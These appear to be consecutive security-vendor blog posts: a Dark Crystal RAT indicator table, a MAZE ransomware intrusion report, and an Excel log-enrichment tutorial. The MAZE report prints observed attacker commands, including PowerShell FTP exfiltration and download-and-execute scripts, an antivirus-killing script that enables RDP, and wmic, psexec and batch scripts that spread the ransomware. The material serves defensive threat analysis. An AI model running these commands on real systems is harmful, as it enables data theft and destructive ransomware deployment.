t=&__ds_getdata_key= HTTP request hxxp://domalo[.]online /ksezblxlvou3kcmbq8l7hf3f4cy5xgeo4udla91dueu3qa54/46kqbjvyklunp 1z56txzkhen7gjci3cyx8ggkptx25i74mo6myqpx9klvv3/akcii239myzon0xw jlxqnn3b34w/. TCP connection domalo[.]online:80 TCP connection ipinfo[.]ip DNS lookup domalo[.]online DNS lookup ipinfo[.]ip Strings Static string DCRatBuild Table 4: IoCs for this instance of DCRat #### FireEye Product Support for Dark Crystal RAT Table 5 describes how FireEye products react to the initial sample (MD5: b478d340a787b85e086cc951d0696cb1) and its Dark Crystal RAT payload, or in the case of Mandiant Security Validation, allow a stakeholder to validate their own capability to detect Dark Crystal RAT.  FireEye Product Support for Dark Crystal RAT FireEye Network Security (NX) Backdoor.Plurox detection FireEye Email Security (EX & ETP) Backdoor.MSIL.DarkCrystal, Backdoor.Plurox, Malware.Binary.exe, Trojan.Vasal.FEC3, Win.Ransomware.Cerber-6267996-1, fe_ml_heuristic detections FireEye Endpoint Security (HX) Trojan.GenericKD.32546165, Backdoor.MSIL.DarkCrystal detections FireEye Malware Analysis (AX) Backdoor.Plurox.FEC2 detection FireEye Detection on Demand (DoD) Backdoor.Plurox.FEC2, FireEye.Malware detections Mandiant Security Validation Built-in Action coming soon Table 5: Support in FireEye products to detect Dark Crystal RAT or validate detection capability # Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents Targeted ransomware incidents have brought a threat of disruptive and destructive attacks to organizations across industries and geographies. FireEye Mandiant Threat Intelligence has previously documented this threat in our investigations of trends across ransomware incidents, FIN6 activity, implications for OT networks, and other aspects of post-compromise ransomware deployment. Since November 2019, we’ve seen the MAZE ransomware being used in attacks that combine targeted ransomware use, public exposure of victim data, and an affiliate model. Malicious actors have been actively deploying MAZE ransomware since at least May 2019. The ransomware was initially distributed via spam emails and exploit kits before later shifting to being deployed post-compromise. Multiple actors are involved in MAZE ransomware operations, based on our observations of alleged users in underground forums and distinct tactics, techniques, and procedures across Mandiant incident response engagements. Actors behind MAZE also maintain a public-facing website where they post data stolen from victims who refuse to pay an extortion fee. The combination of these two damaging intrusion outcomes—dumping sensitive data and disrupting enterprise networks—with a criminal service makes MAZE a notable threat to many organizations. This blog post is based on information derived from numerous Mandiant incident response engagements and our own research into the MAZE ecosystem and operations. Mandiant Threat Intelligence will be available to answer questions on the MAZE ransomware threat in a May 21 webinar. #### Victimology We are aware of more than 100 alleged MAZE victims reported by various media outlets and on the MAZE website since November 2019. These organizations have been primarily based in North America, although victims spanned nearly every geographical region. Nearly every industry sector including manufacturing, legal, financial services, construction, healthcare, technology, retail, and government has been impacted demonstrating that indiscriminate nature of these operations (Figure 1). Figure 1: Geographical and industry distribution of alleged MAZE victims #### Multiple Actors Involved in MAZE Ransomware Operations Identified Mandiant identified multiple Russian-speaking actors who claimed to use MAZE ransomware and were seeking partners to fulfill different functional roles within their teams. Additional information on these actors is available to Mandiant Intelligence subscribers. A panel used to manage victims targeted for MAZE ransomware deployment has a section for affiliate transactions. This activity is consistent with our assessment that MAZE operates under an affiliate model and is not distributed by a single group. Under this business model, ransomware developers will partner with other actors (i.e. affiliates) who are responsible for distributing the malware. In these scenarios, when a victim pays the ransom demand, the ransomware developers receive a commission. Direct affiliates of MAZE ransomware also partner with other actors who perform specific tasks for a percentage of the ransom payment. This includes partners who provide initial access to organizations and pentesters who are responsible for reconnaissance, privilege escalation and lateral movement—each of which who appear to work on a percentage-basis. Notably, in some cases, actors may be hired on a salary basis (vs commission) to perform specific tasks such as determining the victim organization and its annual revenues. This allows for specialization within the cyber criminal ecosystem, ultimately increasing efficiency, while still allowing all parties involved to profit. Figure 2: MAZE ransomware panel #### MAZE Initially Distributed via Exploit Kits and Spam Campaigns MAZE ransomware was initially distributed directly via exploit kits and spam campaigns through late 2019. For example, in November 2019, Mandiant observed multiple email campaigns delivering Maze ransomware primarily to individuals at organizations in Germany and the United States, although a significant number of emails were also delivered to entities in Canada, Italy, and South Korea. These emails used tax, invoice, and package delivery themes with document attachments or inline links to documents which download and execute Maze ransomware. On November 6 and 7, a Maze campaign targeting Germany delivered macro-laden documents using the subject lines “Wichtige informationen uber Steuerruckerstattung” and “1&1 Internet AG - Ihre Rechnung 19340003422 vom 07.11.19” (Figure 3). Recipients included individuals at organizations in a wide range of industries, with the Financial Services, Healthcare, and Manufacturing sectors being targeted most frequently. These emails were sent using a number of malicious domains created with the registrant address gladkoff1991@yandex.ru. Figure 3: German-language lure On November 8, a campaign delivered Maze primarily to Financial Services and Insurance organizations located in the United states. These emails originated from a compromised or spoofed account and contained an inline link to download a Maze executable payload. On November 18 and 19, a Maze campaign targeted individuals operating in a range of industries in the United States and Canada with macro documents using phone bill and package delivery themes (Figure 4 and Figure 5). These emails used the subjects “Missed package delivery” and "Your AT&T wireless bill is ready to view" and were sent using a number of malicious domains with the registrant address abusereceive@hitler.rocks. Notably, this registrant address was also used to create multiple Italian-language domains towards the end of November 2019. Figure 4: AT&T email lure Figure 5: Canada Post email lure #### Shift to Post-Compromise Distribution Maximizes Impact Actors using MAZE have increasingly shifted to deploying the ransomware post-compromise. This methodology provides an opportunity to infect more hosts within a victim’s environment and exfiltrate data, which is leveraged to apply additional pressure on organizations to pay extortion fees. Notably, in at least some cases, the actors behind these operations charge an additional fee, in addition to the decryption key, for the non-release of stolen data. Although the high-level intrusion scenarios preceding the distribution of MAZE ransomware are broadly similar, there have been notable variations across intrusions that suggest attribution to distinct teams. Even within these teams, the cyber criminals appear to be task-oriented meaning that one operator is not responsible for the full lifecycle. The following sections highlight the TTPs seen in a subset of incidents and serve to illustrate the divergence that may occur due to the fact that numerous, disparate actors are involved in different phases of these operations. Notably, the time between initial compromise to encryption has also been widely varied, from weeks to many months. Initial Compromise There are few clear patterns for intrusion vector across analyzed MAZE ransomware incidents. This is consistent with our observations of multiple actors who use MAZE soliciting partners with network access. The following are a sample of observations from several Mandiant incident response engagements: • A user downloaded a malicious resume-themed Microsoft Word document that contained macros which launched an IcedID payload, which was ultimately used to execute an instance of BEACON. • An actor logged into an internet-facing system via RDP. The account used to grant initial access was a generic support account. It is unclear how the actor obtained the account's password. • An actor exploited a misconfiguration on an Internet-facing system. This access enabled the actor to deploy tools to pivot into the internal network. • An actor logged into a Citrix web portal account with a weak password. This authenticated access enabled the actor to launch a Meterpreter payload on an internal system. Establish Foothold & Maintain Presence The use of legitimate credentials and broad distribution of BEACON across victim environments appear to be consistent approaches used by actors to establish their foothold in victim networks and to maintain presence as they look to meet their ultimate objective of deploying MAZE ransomware. Despite these commonplace behaviors, we have observed an actor create their own domain account to enable latter-stage operations. • Across multiple incidents, threat actors deploying MAZE established a foothold in victim environments by installing BEACON payloads on many servers and workstations. • Web shells were deployed to an internet-facing system. The system level access granted by these web shells was used to enable initial privilege escalation and the execution of a backdoor. • Intrusion operators regularly obtained and maintained access to multiple domain and local system accounts with varying permissions that were used throughout their operations. • An actor created a new domain account and added it to the domain administrators group. Escalate Privileges Although Mandiant has observed multiple cases where MAZE intrusion operators employed Mimikatz to collect credentials to enable privilege escalation, these efforts have also been bolstered in multiple cases via use of Bloodhound, and more manual searches for files containing credentials. • Less than two weeks after initial access, the actor downloaded and interacted with an archive named mimi.zip, which contained files corresponding to the credential harvesting tool Mimikatz. In the following days the same mimi.zip archive was identified on two domain controllers in the impacted environment. • The actor attempted to find files with the word “password” within the environment. Additionally, several archive files were also created with file names suggestive of credential harvesting activity. • The actor attempted to identify hosts running the KeePass password safe software. • Across multiple incidents, the Bloodhound utility was used, presumably to assess possible methods of obtaining credentials with domain administrator privileges. • Actors primarily used Procdump and Mimikatz to collect credentials used to enable later stages of their intrusion. Notably, both Bloodhound and PingCastle were also used, presumably to enable attackers' efforts to understand the impacted organization's Active Directory configuration. In this case the responsible actors also attempted to exfiltrate collected credentials to multiple different cloud file storage services. Reconnaissance Mandiant has observed a broad range of approaches to network, host, data, and Active Directory reconnaissance across observed MAZE incidents. The varied tools and approaches across these incidents maybe best highlights the divergent ways in which the responsible actors interact with victim networks. • In some intrusions, reconnaissance activity occurred within three days of gaining initial access to the victim network. The responsible actor executed a large number of reconnaissance scripts via Cobalt Strike to collect network, host, filesystem, and domain related information. • Multiple built-in Windows commands were used to enable network, account, and host reconnaissance of the impacted environment, though the actors also supplied and used Advanced IP Scanner and Adfind to support this stage of their operations. • Preliminary network reconnaissance has been conducted using a batch script named '2.bat' which contained a series of nslookup commands. The output of this script was copied into a file named '2.txt'. • The actor exfiltrated reconnaissance command output data and documents related to the IT environment to an attacker-controlled FTP server via an encoded PowerShell script. • Over a period of several days, an actor conducted reconnaissance activity using Bloodhound, PowerSploit/PowerView (Invoke-ShareFinder), and a reconnaissance script designed to enumerate directories across internal hosts. • An actor employed the adfind tool and a batch script to collect information about their network, hosts, domain, and users. The output from this batch script (2adfind.bat) was saved into an archive named 'ad.7z' using an instance of the 7zip archiving utility named 7.exe. • An actor used the tool smbtools.exe to assess whether accounts could login to systems across the environment. • An actor collected directory listings from file servers across an impacted environment. Evidence of data exfiltration was observed approximately one month later, suggesting that the creation of these directory listings may have been precursor activity, providing the actors with data they may have used to identify sensitive data for future exfiltration. Lateral Movement Across the majority of MAZE ransomware incidents lateral movement was accomplished via Cobalt Strike BEACON and using previously harvested credentials. Despite this uniformity, some alternative tools and approaches were also observed. • Attackers relied heavily on Cobalt Strike BEACON to move laterally across the impacted environment, though they also tunneled RDP using the ngrok utility, and employed tscon to hijack legitimate rdp sessions to enable both lateral movement and privilege escalation. • The actor moved laterally throughout some networks leveraging compromised service and user accounts obtained from the system on which they gained their initial foothold. This allowed them to obtain immediate access to additional systems. Stolen credentials were then used to move laterally across the network via RDP and to install BEACON payloads providing the actors with access to nearly one hundred hosts. • An actor moved laterally using Metasploit and later deployed a Cobalt Strike payload to a system using a local administrator account. • At least one actor attempted to perform lateral movement using EternalBlue in early and late 2019; however, there is no evidence that these attempts were successful. Complete Mission There was evidence suggesting data exfiltration across most analyzed MAZE ransomware incidents. While malicious actors could monetize stolen data in various way (e.g. sale in an underground forum, fraud), actors employing MAZE are known to threaten the release of stolen data if victim organizations do not pay an extortion fee. • An actor has been observed exfiltrating data to FTP servers using a base64-encoded PowerShell script designed to upload any files with .7z file extensions to a predefined FTP server using a hard-coded username and password. This script appears to be a slight variant of a script first posted to Microsoft TechNet in 2013. • A different base64-encoded PowerShell command was also used to enable this functionality in a separate incident. • Actors deploying MAZE ransomware have also used the utility WinSCP to exfiltrate data to an attacker-controlled FTP server. • An actor has been observed employing a file replication utility and copying the stolen data to a cloud file hosting/sharing service. • Prior to deploying MAZE ransomware threat actors employed the 7zip utility to archive data from across various corporate file shares. These archives were then exfiltrated to an attacker-controlled server via FTP using the WinSCP utility. In addition to data theft, actors deploy MAZE ransomware to encrypt files identified on the victim network. Notably, the aforementioned MAZE panel has an option to specify the date on which ransom demands will double, likely to create a sense of urgency to their demands. • Five days after data was exfiltrated from a victim environment the actor copied a MAZE ransomware binary to 15 hosts within the victim environment and successfully executed it on a portion of these systems. • Attackers employed batch scripts and a series to txt files containing host names to distribute and execute MAZE ransomware on many servers and workstations across the victim environment. • An actor deployed MAZE ransomware to tens of hosts, explicitly logging into each system using a domain administrator account created earlier in the intrusion. • Immediately following the exfiltration of sensitive data, the actors began deployment of MAZE ransomware to hosts across the network. In some cases, thousands of hosts were ultimately encrypted. The encryption process proceeded as follows: • A batch script named start.bat was used to execute a series of secondary batch scripts with names such as xaa3x.bat or xab3x.bat. • Each of these batch scripts contained a series of commands that employed the copy command, WMIC, and PsExec to copy and execute a kill script (windows.bat) and an instance of MAZE ransomware (sss.exe) on hosts across the impacted environment • Notably, forensic analysis of the impacted environment revealed MAZE deployment scripts targeting ten times as many hosts as were ultimately encrypted. #### Implications Based on our belief that the MAZE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat, particularly in terms of the initial intrusion vector. For more comprehensive recommendations for addressing ransomware, please refer to our Ransomware Protection and Containment Strategies blog post and the linked white paper. #### Mandiant Security Validation Actions Organizations can validate their security controls against more than 20 MAZE-specific actions with Mandiant Security Validation. Please see our Headline Release Content Updates – April 21, 2020 on the Mandiant Security Validation Customer Portal for more information. • A100-877 - Active Directory - BloodHound, CollectionMethod All • A150-006 - Command and Control - BEACON, Check-in • A101-030 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #1 • A101-031 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #2 • A101-032 - Command and Control - MAZE Ransomware, C2 Beacon, Variant #3 • A100-878 - Command and Control - MAZE Ransomware, C2 Check-in • A100-887 - Command and Control - MAZE, DNS Query #1 • A100-888 - Command and Control - MAZE, DNS Query #2 • A100-889 - Command and Control - MAZE, DNS Query #3 • A100-890 - Command and Control - MAZE, DNS Query #4 • A100-891 - Command and Control - MAZE, DNS Query #5 • A100-509 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Github PoC • A100-339 - Exploit Kit Activity - Fallout Exploit Kit CVE-2018-8174, Landing Page • A101-033 - Exploit Kit Activity - Spelevo Exploit Kit, MAZE C2 • A100-208 - FTP-based Exfil/Upload of PII Data (Various Compression) • A104-488 - Host CLI - Collection, Exfiltration: Active Directory Reconnaissance with SharpHound, CollectionMethod All • A104-046 - Host CLI - Collection, Exfiltration: Data from Local Drive using PowerShell • A104-090 - Host CLI - Collection, Impact: Creation of a Volume Shadow Copy • A104-489 - Host CLI - Collection: Privilege Escalation Check with PowerUp, Invoke-AllChecks • A104-037 - Host CLI - Credential Access, Discovery: File & Directory Discovery • A104-052 - Host CLI - Credential Access: Mimikatz • A104-167 - Host CLI - Credential Access: Mimikatz (2.1.1) • A104-490 - Host CLI - Defense Evasion, Discovery: Terminate Processes, Malware Analysis Tools • A104-491 - Host CLI - Defense Evasion, Persistence: MAZE, Create Target.lnk • A104-500 - Host CLI - Discovery, Defense Evasion: Debugger Detection • A104-492 - Host CLI - Discovery, Execution: Antivirus Query with WMI, PowerShell • A104-374 - Host CLI - Discovery: Enumerate Active Directory Forests • A104-493 - Host CLI - Discovery: Enumerate Network Shares • A104-481 - Host CLI - Discovery: Language Query Using PowerShell, Current User • A104-482 - Host CLI - Discovery: Language Query Using reg query • A104-494 - Host CLI - Discovery: MAZE, Dropping Ransomware Note Burn Directory • A104-495 - Host CLI - Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.html Variant • A104-496 - Host CLI - Discovery: MAZE, Traversing Directories and Dropping Ransomware Note, DECRYPT-FILES.txt Variant • A104-027 - Host CLI - Discovery: Process Discovery • A104-028 - Host CLI - Discovery: Process Discovery with PowerShell • A104-029 - Host CLI - Discovery: Remote System Discovery • A104-153 - Host CLI - Discovery: Security Software Identification with Tasklist • A104-083 - Host CLI - Discovery: System Info • A104-483 - Host CLI - Exfiltration: PowerShell FTP Upload • A104-498 - Host CLI - Impact: MAZE, Desktop Wallpaper Ransomware Message • A104-227 - Host CLI - Initial Access, Lateral Movement: Replication Through Removable Media • A100-879 - Malicious File Transfer - Adfind.exe, Download • A150-046 - Malicious File Transfer - BEACON, Download • A100-880 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp Executable Variant • A100-881 - Malicious File Transfer - Bloodhound Ingestor Download, C Sharp PowerShell Variant • A100-882 - Malicious File Transfer - Bloodhound Ingestor Download, PowerShell Variant • A101-037 - Malicious File Transfer - MAZE Download, Variant #1 • A101-038 - Malicious File Transfer - MAZE Download, Variant #2 • A101-039 - Malicious File Transfer - MAZE Download, Variant #3 • A101-040 - Malicious File Transfer - MAZE Download, Variant #4 • A101-041 - Malicious File Transfer - MAZE Download, Variant #5 • A101-042 - Malicious File Transfer - MAZE Download, Variant #6 • A101-043 - Malicious File Transfer - MAZE Download, Variant #7 • A101-044 - Malicious File Transfer - MAZE Download, Variant #8 • A101-045 - Malicious File Transfer - MAZE Download, Variant #9 • A101-034 - Malicious File Transfer - MAZE Dropper Download, Variant #1 • A101-035 - Malicious File Transfer - MAZE Dropper Download, Variant #2 • A100-885 - Malicious File Transfer - MAZE Dropper Download, Variant #4 • A101-036 - Malicious File Transfer - MAZE Ransomware, Malicious Macro, PowerShell Script Download • A100-284 - Malicious File Transfer - Mimikatz W/ Padding (1MB), Download • A100-886 - Malicious File Transfer - Rclone.exe, Download • A100-484 - Scanning Activity - Nmap smb-enum-shares, SMB Share Enumeration #### Detecting the Techniques  Platform Signature Name MVX (covers multiple FireEye technologies) Bale Detection FE_Ransomware_Win_MAZE_1 Endpoint Security WMIC SHADOWCOPY DELETE (METHODOLOGY) MAZE RANSOMWARE (FAMILY) Network Security Ransomware.Win.MAZE Ransomware.Maze Ransomware.Maze #### MITRE ATT&CK Mappings Mandiant currently tracks three separate clusters of activity involved in the post-compromise distribution of MAZE ransomware. Future data collection and analysis efforts may reveal additional groups involved in intrusion activity supporting MAZE operations, or may instead allow us to collapse some of these groups into larger clusters. It should also be noted that ‘initial access’ phase techniques have been included in these mappings, though in some cases this access may have been provided by a separate threat actor(s). #### MAZE Group 1 MITRE ATT&CK Mapping  ATT&CK Tactic Category Techniques Initial Access T1133: External Remote Services T1078: Valid Accounts Execution T1059: Command-Line Interface T1086: PowerShell T1064: Scripting T1035: Service Execution Persistence T1078: Valid Accounts T1050: New Service Privilege Escalation T1078: Valid Accounts Defense Evasion T1078: Valid Accounts T1036: Masquerading T1027: Obfuscated Files or Information T1064: Scripting Credential Access T1110: Brute Force T1003: Credential Dumping Discovery T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1135: Network Share Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery T1016: System Network Configuration Discovery Lateral Movement T1076: Remote Desktop Protocol T1105: Remote File Copy Collection T1005: Data from Local System Command and Control T1043: Commonly Used Port T1105: Remote File Copy T1071: Standard Application Layer Protocol Exfiltration T1002: Data Compressed T1048: Exfiltration Over Alternative Protocol Impact T1486: Data Encrypted for Impact T1489: Service Stop #### MAZE Group 2 MITRE ATT&CK Mapping  ATT&CK Tactic Category Techniques Initial Access T1193: Spearphishing Attachment Execution T1059: Command-Line Interface T1086: PowerShell T1085: Rundll32 T1064: Scripting T1204: User Execution T1028: Windows Remote Management Persistence T1078: Valid Accounts T1050: New Service T1136: Create Account Privilege Escalation T1078: Valid Accounts T1050: New Service Defense Evasion T1078: Valid Accounts T1140: Deobfuscate/Decode Files or Information T1107: File Deletion T1036: Masquerading Credential Access T1003: Credential Dumping T1081: Credentials in Files T1171: LLMNR/NBT-NS Poisoning Discovery T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1135: Network Share Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery T1033: System Owner/User Discovery Lateral Movement T1076: Remote Desktop Protocol T1028: Windows Remote Management Collection T1074: Data Staged T1005: Data from Local System T1039: Data from Network Shared Drive Command and Control T1043: Commonly Used Port T1219: Remote Access Tools T1105: Remote File Copy T1071: Standard Application Layer Protocol T1032: Standard Cryptographic Protocol Exfiltration T1020: Automated Exfiltration T1002: Data Compressed T1048: Exfiltration Over Alternative Protocol Impact T1486: Data Encrypted for Impact #### MAZE Group 3 MITRE ATT&CK Mapping (FIN6)  ATT&CK Tactic Category Techniques Initial Access T1133: External Remote Services T1078: Valid Accounts Execution T1059: Command-Line Interface T1086: PowerShell T1064: Scripting T1035: Service Execution Persistence T1078: Valid Accounts T1031: Modify Existing Service Privilege Escalation T1055: Process Injection T1078: Valid Accounts Defense Evasion T1055: Process Injection T1078: Valid Accounts T1116: Code Signing T1089: Disabling Security Tools T1202: Indirect Command Execution T1112: Modify Registry T1027: Obfuscated Files or Information T1108: Redundant Access T1064: Scripting Credential Access T1003: Credential Dumping Discovery T1087: Account Discovery T1482: Domain Trust Discovery T1083: File and Directory Discovery T1069: Permission Groups Discovery T1018: Remote System Discovery Lateral Movement T1097: Pass the Ticket T1076: Remote Desktop Protocol T1105: Remote File Copy T1077: Windows Admin Shares Collection T1074: Data Staged T1039: Data from Network Shared Drive Command and Control T1043: Commonly Used Port T1219: Remote Access Tools T1105: Remote File Copy T1071: Standard Application Layer Protocol T1032: Standard Cryptographic Protocol Exfiltration T1002: Data Compressed Impact T1486: Data Encrypted for Impact T1490: Inhibit System Recovery T1489: Service Stop #### Example Commands Observed in MAZE Ransomware Incidents  function Enum-UsersFolders($PathEnum) {     $foldersArr = 'Desktop','Downloads','Documents','AppData/Roaming','AppData/Local' Get-ChildItem -Path$PathEnum'/c$' -ErrorAction SilentlyContinue Get-ChildItem -Path$PathEnum'/c$/Program Files' -ErrorAction SilentlyContinue Get-ChildItem -Path$PathEnum'/c$/Program Files (x86)' -ErrorAction SilentlyContinue foreach($Directory in Get-ChildItem -Path $PathEnum'/c$/Users' -ErrorAction SilentlyContinue) {         foreach($SeachDir in$foldersArr) {             Get-ChildItem -Path $PathEnum'/c$/Users/'$Directory'/'$SeachDir -ErrorAction SilentlyContinue         }     } }

PowerShell reconnaissance script used to enumerate directories

 $Dir="C:/Windows/Temp/" #ftp server$ftp = "ftp:///incoming/" $user = ""$pass = "" $webclient = New-Object System.Net.WebClient$webclient.Credentials = New-Object System.Net.NetworkCredential($user,$pass) #list every sql server trace file foreach($item in (dir$Dir "*.7z")){    "Uploading $item..."$uri = New-Object System.Uri($ftp+$item.Name)    $webclient.UploadFile($uri, $item.FullName) } Decoded FTP upload PowerShell script  powershell -nop -exec bypass IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:43984/'); Add-FtpFile -ftpFilePath "ftp:///cobalt_uploads/" -localFile "\ " -userName "" -password "" Decoded FTP upload PowerShell script  […] echo 7 echo 7 taskkill /im csrss_tc.exe /f taskkill /im kwsprod.exe /f taskkill /im avkwctl.exe /f taskkill /im rnav.exe /f taskkill /im crssvc.exe /f sc config CSAuth start= disabled taskkill /im vsserv.exe /f taskkill /im ppmcativedetection.exe /f […] taskkill /im sahookmain.exe /f taskkill /im mcinfo.exe /f reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f netsh advfirewall firewall set rule group="remote desktop" new enable=Ye c:\windows\temp\sss.exe Excerpt from windows.bat kill script  start copy sss.exe \\\c$\windows\temp\ start copy sss.exe \\\c$\windows\temp\ start copy windows.bat \\\c$\windows\temp\ start copy windows.bat \\\c$\windows\temp\ start wmic /node:"" /user:"" /password:"" process call create "c:\windows\temp\sss.exe" start wmic /node:"" /user:"" /password:"" process call create "c:\windows\temp\sss.exe" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c c:\windows\temp\windows.bat" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c c:\windows\temp\windows.bat" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c copy \\\c$\windows\temp\sss.exe c:\windows\temp\" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c copy \\\c$\windows\temp\sss.exe c:\windows\temp\" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c copy \\\c$\windows\temp\windows.bat c:\windows\temp\" start wmic /node:"" /user:"" /password:"" process call create "cmd.exe /c copy \\\c$\windows\temp\windows.bat c:\windows\temp\" start psexec.exe \\ -u -p "" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe start psexec.exe \\ -u -p "" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\sss.exe start psexec.exe \\ -u -p "" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat start psexec.exe \\ -u < DOMAIN\adminaccount> -p "" -d -h -r rtrsd -s -accepteula -nobanner c:\windows\temp\windows.bat Example commands from MAZE distribution scripts  @echo off del done.txt del offline.txt rem Loop thru list of computer names in file specified on command-line for /f %%i in (%1) do call :check_machine %%i goto end :check_machine rem Check to see if machine is up. ping -n 1 %1|Find "TTL=" >NUL 2>NUL if errorlevel 1 goto down echo %1 START cmd /c "copy [Location of MAZE binary] \\%1\c$\windows\temp && exit" timeout 1 > NUL echo %1 >> done.txt rem wmic /node:"%1" process call create "regsvr32.exe /i C:\windows\temp\[MAZE binary name]" >> done.txt START "" cmd /c "wmic /node:"%1" process call create "regsvr32.exe /i C:\windows\temp\[MAZE binary name]" && exit" goto end :down   rem Report machine down   echo %1 >> offline.txt :end

Example MAZE distribution script

#### Indicators of Compromise

Mandiant Threat Intelligence will host an exclusive webinar on Thursday, May 21, 2020, at 8 a.m. PT / 11 a.m. ET to provide updated insight and information into the MAZE ransomware threat, and to answer questions from attendees. Register today to reserve your spot.

# Excelerating Analysis, Part 2 — X[LOOKUP] Gon’ Pivot To Ya

In December 2019, we published a blog post on augmenting analysis using Microsoft Excel for various data sets for incident response investigations. As we described, investigations often include custom or proprietary log formats and miscellaneous, non-traditional forensic artifacts. There are, of course, a variety of ways to tackle this task, but Excel stands out as a reliable way to analyze and transform a majority of data sets we encounter.

In our first post, we discussed summarizing verbose artifacts using the CONCAT function, converting timestamps using the TIME function, and using the COUNTIF function for log baselining. In this post, we will cover two additional versatile features of Excel: LOOKUP functions and PivotTables.

For this scenario, we will use a dataset of logon events for an example Microsoft Office 365 (O365) instance to demonstrate how an analyst can enrich information in the dataset. Then we will demonstrate some examples of how to use PivotTables to summarize information and highlight anomalies in the data quickly.

Our data contains the following columns:

• Description – Event description
• User – User’s name
• User Principle Name – email address
• App – such as Office 365, Sharepoint, etc.
• Location – Country
• Date
• User agent (simplified)
• Organization – associated with IP address (as identified by O365)

Figure 1: O365 data set

#### LOOKUP for Data Enrichment

It may be useful to add more information to the data that could help us in analysis that isn’t provided by the original log source. A step FireEye Mandiant often performs during investigations is to take all unique IP addresses and query threat intelligence sources for each IP address for reputation, WHOIS information, connections to known threat actor activity, etc. This grants more information about each IP address that we can take into consideration in our analysis.

While FireEye Mandiant is privy to historical engagement data and Mandiant Threat Intelligence, if security teams or organizations do not have access to commercial threat intelligence feeds, there are numerous open source intelligence services that can be leveraged.

We can also use IP address geolocation services to obtain latitude and longitude related to each source IP address. This information may be useful in identifying anomalous logons based on geographical location.

After taking all source IP addresses, running them against threat intelligence feeds and geolocating them, we have the following data added to a second sheet called “IP Address Intel” in our Excel document:

We can already see before we even dive into the logs themselves that we have suspicious activity: The five IP addresses in the 203.0.113.0/24 range in our data are known to be associated with activity connected to a fictional threat actor tracked as TMP.OGRE.

To enrich our original dataset, we will add three columns to our data to integrate the supplementary information: “Latitude,” “Longitude,” and “Threat Intel” (Figure 3). We can use the VLOOKUP or XLOOKUP functions to quickly retrieve the supplementary data and integrate it into our main O365 log sheet.

Figure 3: Enrichment columns

#### VLOOKUP

The traditional way to look up particular data in another array is by using the VLOOKUP function. We will use the following formula to reference the “Latitude” values for a given IP address:

Figure 4: VLOOKUP formula for Latitude

There are four parts to this formula:

1. Value to look up:
• This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address.
2. Table array:
• This defines the entire array in which we will look up our value and return data from. The first column in the array must contain the value being looked up. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$D:$15. In other words, we are looking in the other sheet in this workbook we created earlier titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to D15.

Figure 5: VLOOKUP table array

Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells. 3. Column index number: • This identifies the column number from which to return data. The first column is considered column 1. We want to return the “Latitude” value for the given IP address, so in the aforementioned example, we tell Excel to return data from column 2. 4. Range lookup (match type) • This part of the formula tells Excel what type of matching to perform on the value being looked up. Excel defaults to “Approximate” matching, which assumes the data is sorted and will match the closest value. We want to perform “Exact” matching, so we put “0” here (“FALSE” is also accepted). With the VLOOKUP function complete for the “Latitude” data, we can use the fill handle to update this field for the rest of the data set. To get the values for the “Longitude” and “Threat Intel” columns, we repeat the process by using a similar function and, adjusting the column index number to reference the appropriate columns, then use the fill handle to fill in the rest of the column in our O365 data sheet: • For Longitude: • =VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15,3,0) • For Threat Intel: • =VLOOKUP(G2,'IP Address Intel'!$A$2:$D$15,4,0) #### Bonus Option: XLOOKUP The XLOOKUP function in Excel is a more efficient way to reference the threat intelligence data sheet. XLOOKUP is a newer function introduced to Excel to replace the legacy VLOOKUP function and, at the time of writing this post, is only available to “O365 subscribers in the Monthly channel”, according to Microsoft. In this instance, we will also leverage Excel’s dynamic arrays and “spilling” to fill in this data more efficiently, instead of making an XLOOKUP function for each column. NOTE: To utilize dynamic arrays and spilling, the data we are seeking to enrich cannot be in the form of a “Table” object. Instead, we will apply filters to the top row of our O365 data set by selecting the “Filter” option under “Sort & Filter” in the “Home” ribbon: Figure 6: Filter option To reference the threat intelligence data sheet using XLOOKUP, we will use the following formula: Figure 7: XLOOKUP function for enrichment There are three parts to this XLOOKUP formula: 1. Value to lookup: • This dictates what cell value we are going to look up more information for. In this case, it is cell G2, which is the IP address. 2. Array to look in: • This will be the array of data in which Excel will search for the value to look up. Excel does exact matching by default for XLOOKUP. In the aforementioned example, we are searching in ‘IP Address Intel’!$A$2:$A:$15. In other words, we are looking in the other sheet in this workbook titled “IP Address Intel”, then in that sheet, search in the cell range of A2 to A15: Figure 8: XLOOKUP array to look in Note the use of the “$” to ensure these are absolute references and will not be updated by Excel if we copy this formula to other cells.
3. Array of data to return:
• This part will be the array of data from which Excel will return data. In this case, Excel will return the data contained within the absolute range of B2 to D15 from the “IP Address Intel” sheet for the value that was looked up. In the aforementioned example formula, it will return the values in the row for the IP address 198.51.100.126:

Figure 9: Data to be returned from ‘IP Address Intel’ sheet

Because this is leveraging dynamic arrays and spilling, all three cells of the returned data will populate, as seen in Figure 4.

